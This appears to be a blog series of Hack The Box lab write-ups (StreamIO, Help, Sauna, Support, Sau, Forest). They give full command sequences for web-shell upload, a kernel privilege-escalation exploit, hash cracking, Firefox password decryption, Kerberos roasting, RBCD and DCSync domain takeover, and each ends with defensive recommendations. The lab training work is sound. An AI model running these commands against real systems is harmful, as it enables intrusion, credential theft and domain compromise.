Let’s use the credentials to check whether there is any more information.

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "EXEC xp_cmdshell 'whoami'"

The credential works. Let's try to check the contents.

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT name FROM sys.databases;"

streamio_backup sounds interesting.

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT * FROM streamio_backup.INFORMATION_SCHEMA.TABLES;"

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT * FROM streamio_backup.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'"

sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -Q "SELECT id, username, password FROM streamio_backup.dbo.users;"

We found new credentials!

Let's make username file and crack the password hashes.

echo 'nikk37
yoshihide
James
Theodore
Samantha
Lauren
William
Sabrina' > user2.txt

echo '389d14cb8e4e9b94b137deb1caf0612a
b779ba15cedfd22a023c4d8bcf5f2332
c660060492d9edcaa8332d89c99c9239
925e5408ecb67aea449373d668b7359e
083ffae904143c4796e464dac33c1f7d
08344b85b329d7efd611b7a7743e8a09
d62be0dc82071bccc1322d64ec5b6c51
f87d3c0d6c8fd686aacc6627f1f493a5' > pass2.txt

hashcat pass2.txt

hashcat -m 0 pass2.txt /usr/share/wordlists/rockyou.txt

Cracked!

So, let’s find a valid combination for logging into the Windows machine.

echo 'get_dem_girls2@yahoo.com
66boysandgirls..
##123a8j8w5123##
!!sabrina$' > cracked2.txt

nxc smb 10.129.63.72 -u user2.txt -p cracked2.txt --continue-on-success

Yes! nikk37:get_dem_girls2@yahoo.com is the valid credential.

Let's check what the credential can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.63.72 -u 'nikk37' -p 'get_dem_girls2@yahoo.com' $a; done; done; for p in ssh ftp; do nxc $p 10.129.63.72 -u 'nikk37' -p 'get_dem_girls2@yahoo.com'; done

WINRM is available.

evil-winrm -i 10.129.63.72 -u nikk37 -p get_dem_girls2@yahoo.com
type C:\Users\nikk37\Desktop\user.txt

We got user.txt!

Privilege Escalation

I checked the all information of login user, nikk37.

whoami /all

Nothing special.

After enumerating the folders and files, I couldn’t find a foothold for privilege escalation, so I ran winPEAS.

upload winPEASx64.exe
.\winPEASx64.exe

At the same time, I ran BloodHound to look for any path to privilege escalation (PE), given the environment is an Active Directory domain.

nxc ldap 10.129.63.72 -u nikk37 -p 'get_dem_girls2@yahoo.com' --bloodhound --collection All --dns-server 10.129.63.72 && mv ~/.nxc/logs/*bloodhound.zip .

However, nothing interesting.

After reading Task 14 of Guided Mode, I understand that there is an encrypted passwords stored in FireFox.
So I downloaded the files as follows.

download logins.json
download logins-backup.json
download key4.db
download cert9.db

Let's crack it.

git clone https://github.com/unode/firefox_decrypt

 mkdir firefox_decrypt/profile
 mv key4.db logins-backup.json logins.json firefox_decrypt/profile
 mv cert9.db firefox_decrypt/profile

cd firefox_decrypt

python3 firefox_decrypt.py profile

New credentials!
admin:JDg0dd1s@d0p3cr3@t0r
JDgodd:password@12

After several attempts, the true credential was revealed JDgodd:JDg0dd1s@d0p3cr3@t0r.

However, I could not login to shell.

I started BloodHound.

nxc ldap 10.129.63.255 -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' --bloodhound --collection All --dns-server 10.129.63.255 && mv ~/.nxc/logs/*bloodhound.zip .

There is a way to become Administrator.

Let’s add JDgodd as a member of the Core Staff group and read the DC’s local administrator password via LAPS.

impacket-owneredit -action write -new-owner 'JDgodd' -target 'Core Staff' 'streamIO.htb/JDgodd:JDg0dd1s@d0p3cr3@t0r' -dc-ip 10.129.63.255

impacket-dacledit -action write -rights FullControl -principal JDgodd -target 'CORE STAFF' 'streamIO.htb/JDgodd:JDg0dd1s@d0p3cr3@t0r' -dc-ip 10.129.63.255

 net rpc group addmem "CORE STAFF" "JDgodd" -U "streamIO.htb/JDgodd%JDg0dd1s@d0p3cr3@t0r" -S 10.129.63.255

bloodyAD --host 10.129.63.255 -d streamIO.htb -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

We got the password for Administrator.

Let's check what service we can use.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.63.255 -u 'Administrator' -p '5;hD(0]lFF;THw' $a; done; done; for p in ssh ftp; do nxc $p 10.129.63.255 -u 'Administrator' -p '5;hD(0]lFF;THw'; done

evil-winrm -i 10.129.63.255 -u Administrator -p '5;hD(0]lFF;THw'

Get-ChildItem C:\Users -R -Force -Filter *.txt -EA 0 | ? Name -match 'flag|proof|local|root|user'

type C:\Users\Martin\Desktop\root.txt

Hooray!

Lessons Learned

On Windows, using ls -Force lets you see hidden files and folders as well.
For Firefox, if you download logins.json, key4.db, and cert9.db, you can decrypt the saved passwords.
With BloodHound, sometimes nothing shows up on the first run, but results can appear on a second run.

HTB - Help Writeup - no Metasploit

nekohige — Tue, 27 Oct 2026 01:42:34 +0000

Summary

The machine is running HelpDeskZ version 1.0.2 on port 80 (HTTP), which is vulnerable to an Arbitrary File Upload issue.
This vulnerability was exploited to obtain a reverse shell as the help user.
Enumeration of the kernel version revealed 4.4.0-116-generic, which is affected by a privilege escalation vulnerability, CVE-2017-16995.
Exploitation of CVE-2017-16995 was successful, resulting in a root shell.

Recommendation

Assuming this were a real-world environment, I would recommend the following:

Use the latest version of HelpDeskZ and apply kernel updates, or consider switching to an alternative system.

Enumeration

First of all, let's enumerate open ports running on the machine. I usually take following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.159

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.159

Ports 22(SSH) and 80(HTTP) are open. This suggests that it is a Linux machine.
Also, Port 3000 is open and running HTTP. It not very common so let's check it later.
The domain name is revealed: help.htb.

No interesting UDPs.

The DNS information shows nothing interesting.

dig @10.129.230.159 help.htb any

Add the mapping between the domain and IP to /etc/hosts.

echo "10.129.230.159 help.htb" | sudo tee -a /etc/hosts

Let's take a look at Port 80 and 3000.

http://help.htb:80

http://help.htb:3000/

Let's enumerate pages.

feroxbuster -u http://help.htb:80 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

There is a web application, http://help.htb/support/.

http://help.htb/support/readme.html

We can see that HelpDeskZ version: 1.0.2 is running.

feroxbuster -u http://help.htb:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

No interesting pages.

Exploitation

After searching the web, HelpDeskZ version: 1.0.2 has a vulnerability of Arbitrary File Upload as follows.
https://www.exploit-db.com/exploits/40300
https://gist.github.com/SakiiR/b005c6d1c955502cfe1d1dfc959cc0f7

I prepared an exploit file as follows. But, I couldn't upload it.

echo '<?php system($_GET['cmd']); ?>' > sh.php

After searching the web, it was okay. Although it says "File is not allowed." the file is uploaded already on the machine.
So, let's use the script on the web: https://www.exploit-db.com/exploits/40300.
The base URL is where the uploaded file is stored. It’s http://help.htb/support/uploads/tickets/, as feroxbuster shows.

I used the PoC of searchexploit as follows.

python2 test.py http://help.htb/support/uploads/tickets/ sh.php

curl "http://help.htb/support/uploads/tickets/1dc25cd34ad5db4b9d3b0bacac99bf4d.php?cmd=id"

It works!

Let's make a reverse shell using Reverse Shell Generator, https://www.revshells.com/.

cat /home/help/user.txt

We got user.txt!

In order to stabilize the shell, I set up an SSH environment as follows.

# My kali
ssh-keygen -t ed25519 -f ./id_ktmp -N ''

# Target Machine
mkdir -p ~/home/help/.ssh; echo "<the content of id_ktmp.pub>" >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 

# My kali
ssh help@10.129.230.159 -i id_ktmp

Privilege Escalation

Let's start linpeas for searching ways for privilege escalation.

wget http://10.10.17.153:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
./linpeas.sh

The following section, “Kernel Exploit Registry”, shows that the kernel version 4.4.0-116-generic is vulnerable to a privilege escalation issue, CVE-2017-16995.

https://www.exploit-db.com/exploits/44298

Let's use the PoC of CVE-2017-16995.

searchsploit -m 44298
python3 -m http.server 8000

wget http://10.10.17.153:8000/44298.c -O /tmp/44298.c

gcc 44298.c -o exploit
chmod +x exploit 
./exploit
id
cat /root/root.txt

Hooray!

Lessons Learned

The arbitrary file upload vulnerability was confirmed, but I was not able to upload a PHP file at first. I should have kept trying different approaches, and also should have made more effort to identify the upload folder.
When the PoC is written in C, it must be compiled with gcc on the target machine itself for it to work correctly.

HTB - Sauna Writeup - no Metasploit

nekohige — Sun, 25 Oct 2026 13:10:18 +0000

Summary

Team member names were listed on a web page, which allowed us to guess valid usernames.
One user account had Kerberos pre-authentication disabled, letting us obtain a shell via AS-REP Roasting.
Running winPEAS revealed that the AutoLogon section still had a username and default password stored in plaintext.
Checking that account in BloodHound showed it had GetChangesAll rights over the DC, allowing us to perform a DCSync attack, retrieve the Administrator’s password hash, and gain full domain compromise.

Recommendation

Assuming this were a real environment, I would recommend the following.

Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
Remove plaintext AutoLogon credentials from the registry (Disable AutoLogon entirely unless there’s a hard operational requirement for it).
Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g., svc-alfresco being a member of Account Operators), and regularly audit ACLs for dangerous rights (GenericAll, WriteDacl, GetChangesAll, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports using nmap. Usually take following 3 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.180

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.180

Ports 135(RPC), 139(SMB) and 445(SMB) are open. Also, 53(DNS), 389(LDAP) and 88(Kerberos) are open, too. This suggests a Windows machine having an Active Directory domain.
Port 80(HTTP) is open. So, Web Application is running.
The domain is EGOTISTICAL-BANK.LOCAL.

Let’s check the DNS information.

dig @10.129.95.180 EGOTISTICAL-BANK.LOCAL any

We now know this machine’s hostname is “sauna,” and it’s the domain controller (DC) for the EGOTISTICAL-BANK.LOCAL domain.

Let's add the mapping between the IP and domain names to /etc/hosts.

echo "10.129.95.180 EGOTISTICAL-BANK.LOCAL sauna.EGOTISTICAL-BANK.LOCAL" | sudo tee -a /etc/hosts

Let's open the Port 80(HTTP).
http://egotistical-bank.local/

Let's enumerate pages.

feroxxuster -u http://EGOTISTICAL-BANK.LOCAL -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt,bak

Not very interesting.

We can find the names of team members who may exist as users in this Active Directory at about.html.

Let's make users.txt considering several patterns as follows.

echo 'Fergus.Smith
Hugo.Bear
Steven.Kerb
Shaun.Coins
Bowie.Taylor
Sophie.Driver
fergus.smith
hugo.bear
steven.kerb
shaun.coins
bowie.taylor
sophie.driver
f.smith
h.bear
s.kerb
s.coins
b.taylor
s.driver
fergus
hugo
steven
shaun
bowie
sophie
smith
bear
kerb
coins
taylor
driver
fsmith
hbear
skerb
scoins
btaylor
sdriver
smithf
bearh
kerbs
coinss
taylorb
driverhs
fergussmith
hugobear
stevenkerb
shauncoins
bowietaylor
sophiedriver
smith.fergus
bear.hugo
kerb.steven
coins.shaun
taylor.bowie
driver.sophie
fergus_smith
hugo_bear
steven_kerb
shaun_coins
bowie_taylor
sophie_driver
f_smith
h_bear
s_kerb
s_coins
b_taylor
s_driver
fergus.s
hugo.b
steven.k
shaun.c
bowie.t
sophie.d
fs
hb
sk
sc
bt
sd' > users.txt

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.95.180 -u '' -p '' --shares --users --groups

Nothing.

nxc smb 10.129.95.180 -u 'guest' -p '' --shares --users --groups

Nothing.

Exploitation

Let’s check which usernames exist and, at the same time, look for any that have the misconfiguration of not requiring Kerberos pre-authentication.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt -dc-ip 10.129.95.180

There is!

Let's crack the hash!

echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:a4cb35dcaaa6e03aa5d71dddf341db1f$840f75360073578b8bbd5b38530bae390fb3778e343946c67c7600db3c96a28f9519dbd2a677fc26653ae903421d685a4f542aa1809edaeeecf0ec51a68fb2f1832e2abf0fc6e2dc65799028b22d07237e1c7fe3438410cdf3d762ef55d469aa3ce1f118f4fc08995ca61675195f5a1ea77b268e692dc773258bf2f7a742a6f49755574f081804f3a00ed19db027843bc5fe4eaff0bb561ac9dc5681b5f35d1caf7b207c4ebfbecfaa466fc26ea9028aa13403b78ea55127ff246bcfbfa3a13c5791f132043ddce642349877731088381f0a5c85ace49b4009442196f6319cba8c42e681b39c9c86db99f6ee859f6ce44d597bf0eceea7778e0a2f1ee9894858' > hash
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! fsmith:Thestrokes23

Let's check what we can do with the credential.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'fsmith' -p 'Thestrokes23'; done

WINRM is available.

Let's login.

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23
type C:\Users\FSmith\Desktop\user.txt

We got user.txt.

Privilege Escalation

Let's gather the information of this Active Directory using bloodhound.

nxc ldap 10.129.95.180 -u fsmith -p 'Thestrokes23' --bloodhound --collection All --dns-server 10.129.95.180 && mv ~/.nxc/logs/*bloodhound.zip .

No path found.

Look for any accounts that have an SPN set (i.e., Kerberoastable accounts).

impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt

Adjust the time.

D=$(ldapsearch -x -H ldap://10.129.95.180 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

faketime "+25127 seconds" impacket-GetUserSPNs EGOTISTICAL-BANK.LOCAL/fsmith:Thestrokes23 -dc-ip 10.129.95.180 -request -outputfile kerb.txt

Let's crack the hash.

hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! HSmith:Thestrokes23

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'HSmith' -p 'Thestrokes23'; done

Nothing the credential can do.

Let’s use winPEAS. I placed winPEASx64.exe in the directory where evil-winrm started, and uploaded it.

upload winPEASx64.exe

./winPEASx64.exe

There is a credential on Autologon section.

svc_loanmanager:Moneymakestheworldgoround!

Let's check what we can do with it.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!'; done

Nothing again.

Checking the username under Users, it is not svc_loanmanager but svc_loanmgr.

Let's try is again.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' $a; done; done; for p in ssh ftp; do nxc $p 10.129.95.180 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'; done

Yes!

According to bloodhound, svc_loanmgr has GetChangesAll over Domain Controllers, and it says, "You may perform a dcsync attack".

So, let's try a dcsync attack.

impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180

We get it!

evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

In BloodHound, when you click on a permission arrow (edge), the details of what you can do with it are shown on the right side.

HTB - Support Writeup - no Metasploit

nekohige — Sat, 24 Oct 2026 07:33:38 +0000

Summary

There was a file readable by the guest account. Furthermore, it included UserInfo.exe, a binary that performs LDAP communication, and we were able to recover a plaintext password from it by analyzing the binary.
The group that support (the account whose shell we obtained) belongs to had GenericAll rights over the DC. We exploited this via RBCD to obtain Administrator. #### Recommendation
Do not leave files readable by guest or anonymous/null sessions.
Review and remove unnecessary group nesting that grants service accounts excessive privileges, and regularly audit ACLs for dangerous rights granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

First of all, let's enumerate open ports on the machine using namp. I usually take following 2 steps.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.230.181

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.230.181

Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open. Also, 53 (DNS), 389 (LDAP) and 88 (Kerberos) are open, too. This suggests a standalone Windows machine having an Active Directory domain.
The domain is support.htb.

Let's add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.230.181 support.htb" | sudo tee -a /etc/hosts

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.230.181

No interesting UDPs are open.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.230.181 -u '' -p '' --shares --users --groups

Nothing special.

nxc smb 10.129.230.181 -u 'guest' -p '' --shares --users --groups

Yes! We can see support-tools which is something original to this machine.

Exploitation

Let's see the contents of support-tools.

smbclient //10.129.230.181/support-tools -U 'support.htb\guest%'
ls

There are many interesting files.

Let's download them all.

recurse ON
prompt OFF
mget *

UserInfo.exe sounds interesting. Let's disassemble it.

The code shows it has a function to log in to LDAP.

The encryption method is written there as well.

Let’s use Python to execute it as is.

We extracted the password:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.

Let's see the contents using ladosearch.

ldapsearch -x -H ldap://10.129.230.181 \
  -D "ldap@support.htb" \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "DC=support,DC=htb" \
  "(sAMAccountName=support)"

Here, we found a password: Ironside47pleasure40Watchful.

Let's check what we can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful' $a; done; done; for p in ssh ftp; do nxc $p 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful'; done

We can use WINRM.

Let's login.

evil-winrm -i 10.129.230.181 -u support -p Ironside47pleasure40Watchful
type C:\Users\support\Desktop\user.txt

We got user.txt.

Privilege Escalation

First thing to do: let’s use BloodHound to find a way to escalate privileges.

nxc ldap 10.129.230.181 -u support -p 'Ironside47pleasure40Watchful' --bloodhound --collection All --dns-server 10.129.230.181

There is a path to becoming Administrator, since support has GenericAll over DC. We can expect that RBCD (Resource-Based Constrained Delegation) can be used here.

RBCD (Resource-Based Constrained Delegation) is a mechanism where the target object itself manages the list of "who is trusted to act as a delegate" for it. As long as you have the permission to modify that list (such as GenericAll), you can add your own fake account to it, claim "I'm acting on behalf of Administrator," and legitimately obtain an Administrator-privileged ticket through the normal protocol flow.

Step 0: Let's also resolve the DC's domain name.

echo "10.129.230.181 dc.support.htb DC.support.htb support.htb" | sudo tee -a /etc/hosts

Step 1: By default, AD has a built-in mechanism (ms-DS-MachineAccountQuota) that lets even a regular user create up to 10 computer accounts of their own. We'll use this to create a fake computer account.

impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'Passw0rd123!' \
  -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful'

Step 2: Using the GenericAll permission that support holds, configure the DC to trust delegation requests coming from the fake computer account we just created.

 impacket-rbcd -delegate-to 'DC$' -delegate-from 'FAKE01$' -action write \
  -dc-ip 10.129.230.181 support.htb/support:'Ironside47pleasure40Watchful'

Step 3: Generate a legitimate ticket that lets us log in to the file share on the DC as Administrator.

impacket-getST -spn 'cifs/DC.support.htb' -impersonate Administrator \
  -dc-ip 10.129.230.181 support.htb/'FAKE01$':'Passw0rd123!'

Step 4: Tell the Kerberos client to use the ticket we obtained in Step 3.

export KRB5CCNAME=Administrator@cifs_DC.support.htb@SUPPORT.HTB.ccache

Step 5: Obtain the Administrator's hash.

impacket-secretsdump -k -no-pass dc.support.htb -just-dc-user Administrator

Let's login through WINRM.

evil-winrm -i 10.129.230.181 -u Administrator -H bb06cbc02b39abeddd1335bc30b19e26
type C:\Users\Administrator\Desktop\root.txt

Hooray!

Lessons Learned

BloodHound has an official homepage. I should follow it: BloodHound.
If we have GenericAll on the DC, RBCD (Resource-Based Constrained Delegation) — a mechanism where the target object itself manages the list of “who is trusted to act as a delegate” for it — can be used. Impacket can walk through this.
.NET was something I’d never dealt with before. It was difficult for me to decompile it and work with it in Python. I relied on AI for that, which I shouldn’t do in the future.

HTB - Sau Writeup - no Metasploit

nekohige — Tue, 20 Oct 2026 12:34:37 +0000

Summary

The target was running an outdated version of request-baskets, which allowed us to perform SSRF.
Through SSRF, we were able to reach an internal service at 127.0.0.1:80, which turned out to be Maltrail.
Maltrail was also running an outdated, vulnerable version that allowed RCE, giving us an initial shell.
Checking sudo -l as the low-privileged user revealed we could run systemctl via sudo without a password, which we leveraged — via a technique documented on GTFOBins — to escalate to root.

Recommendation

Regularly update software to the latest patched versions.
Avoid granting low-privileged users passwordless sudo access to commands unless strictly necessary, and scope any such access as narrowly as possible.
Before granting sudo access to any command, check whether it appears on GTFOBins and could be abused for privilege escalation.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep.

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.15.205

Second, it’s time to dig deeper into the open ports.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.15.205

Port 22(TCP) and 55555(HTTP) are open. 55555(HTTP) seems interesting.

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.15.205

No interesting UDP pors are open.

Exploitation

Let's check the Port 55555(HTTP).
http://10.129.15.205:55555/web

It is indicated that it uses request-baskets | Version: 1.2.1

Searching on the internet, there is a known vulnerability on request-baskets | Version: 1.2.1: Server-Side Request Forgery.
https://github.com/advisories/GHSA-58g2-vgpg-335q

The following site has a clear explanation on it.
https://notes.sjtu.edu.cn/s/MUUhEymt7

The following site has a PoC.
https://packetstorm.news/files/id/174128

I tried viewing 127.0.0.1:8080 and 127.0.0.1:80 through the SSRF, and found a web application running on 127.0.0.1:80.

We can see that Mailtrail (v0.53) is running.

The following site gives PoC for RCE on Mailtrail (v0.53).
https://packetstorm.news/files/id/174129

We got a shell!

cat /home/puma/user.txt

Privilege Escalation

First, I checked sudo -l, which showed that the user puma can run a specific command with sudo without a password.

sudo -l

GTFOBins shows a way to spawn a shell. The Inherit section shows that it inherits from less, so I ran the sudo command and used !/bin/bash to escape into a shell.
https://gtfobins.org/gtfobins/systemctl/

https://gtfobins.org/gtfobins/less/

sudo  /usr/bin/systemctl status trail.service

I got the root shell!

Lessons Learned

SSRF allowed me to make requests that should only be possible from the server side, from what should normally be a controlled client-side position. In this case, I was able to connect to an internal service at 127.0.0.1:80. Depending on the target, other schemes like file:// might also have been usable. I’ll remember SSRF as this kind of technique — making the server issue requests on the attacker’s behalf, reaching places the attacker couldn’t normally reach directly.

HTB - Forest Writeup - no Metasploit

nekohige — Tue, 20 Oct 2026 04:35:51 +0000

Summary

We were able to enumerate domain usernames via SMB without authentication (null session).
Among those users, some had Kerberos pre-authentication disabled, which allowed us to perform AS-REP Roasting and crack svc-alfresco’s password.
Using that password, we could login as svc-alfresco and used BloodHound to map a privilege-escalation path to Administrator via DCSync.

Recommendation

Assuming this were a real environment, I would recommend the following.

Restrict anonymous/null-session enumeration of domain usernames over SMB.
Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g., svc-alfresco being a member of Account Operators), and regularly audit ACLs for dangerous rights (GenericAll, WriteDacl, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.

Enumeration

Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.

-sS for a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake
-Pn to skip host discovery and assume the host is up, so that all ports actually get checked
-p- to scan all 65535 TCP ports
--open to only show ports that are open
-n to skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway
--min-rate 5000 to speed up the scan by sending at least 5000 packets per second
-oA scan_all to save the output in all three formats (.nmap, .xml, .gnmap) under the prefix scan_all

sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.210

Second, it’s time to dig deeper into the open ports using the following commands and options.

ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)

grep -oP '\d+/open' to pull out every <port>/open match from scan_all.gnmap
cut -d/ -f1 to strip off the /open part, leaving just the port number
paste -sd, to join all those numbers from separate lines into one comma-separated string
the result is stored in the ports variable

sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.210

-sS for a stealthy SYN scan
-Pn to skip host discovery
-p "$ports" to limit the scan to only those open ports
-A to enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once
-oN scan_deep.txt for saving the output to scan_deep.txt

Add the mapping between the IP address and the hostname to /etc/hosts.

echo "10.129.95.210 htb.local" | sudo tee -a /etc/hosts

sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.95.210

Many UDPs are open. We may come back.

Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.

nxc smb 10.129.95.210 -u '' -p '' --shares --users --groups

There are usernames!

Organize them into users.txt.

echo 'sebastien
lucinda
svc-alfresco
andy
mark
santi' > users.txt

Exploitation

Let’s try AS-REP Roasting, since we already know the usernames that exist on the machine. If a user has pre-authentication disabled, the following command gets us an AS-REP hash for offline password cracking.

impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/

It says “Requested starttime is later than end time.” So we need to check the time difference between the target machine and our own.

The following command gives us the time difference.

D=$(ldapsearch -x -H ldap://10.129.15.154 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)"

Let's use faketime to adjust the time.

faketime "+87332 seconds" impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/

We get the AS-REP hash!

Let's crack it.

hashcat -m 18200 npusers /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule

Cracked! svc-alfresco:s3rvice

Let's check what we can do with the credential.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice'; done

We can use WINRM.

Let's login.

evil-winrm -i 10.129.15.154 -u svc-alfresco -p s3rvice

type C:\Users\svc-alfresco\Desktop\user.txt

We get the user.txt.

Privilege Escalation

Let’s first use BloodHound to understand how to go from the owned user to Administrator.

bloodhound-ce-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.15.154 -c all

Upload the files onto BloodHound and use pathfinding from svc-alfresco to Administrator.

There is a path as follows: svc-alfresco is a member of Account Operators, which has GenericAll over Exchange Windows Permissions, which has WriteDacl over HTB.LOCAL — the domain that contains Administrator. So let’s join Exchange Windows Permissions, grant svc-alfresco DCSync rights over HTB.LOCAL, and then use secretsdump to dump Administrator’s hash.

Add svc-alfresco to Exchange Windows Permissions.

net group "Exchange Windows Permissions" svc-alfresco /add /domain

A relogin is necessary for the configuration to take effect.

Use PowerView to grant svc-alfresco DCSync right.

upload PowerView.ps1


. .\PowerView.ps1

Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Verbose

Use secretsdump to retrieve Administrator's hash.

impacket-secretsdump -just-dc  htb.local/svc-alfresco:'s3rvice'@10.129.15.154

Check what the Administrator and its hash can do.

for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'; done

evil-winrm -i 10.129.15.154 -u Administrator: -H 32693b11e6aa90eb43d32c72a07ceea6

type C:\Users\Administrator\Desktop\root.txt

Lessons Learned
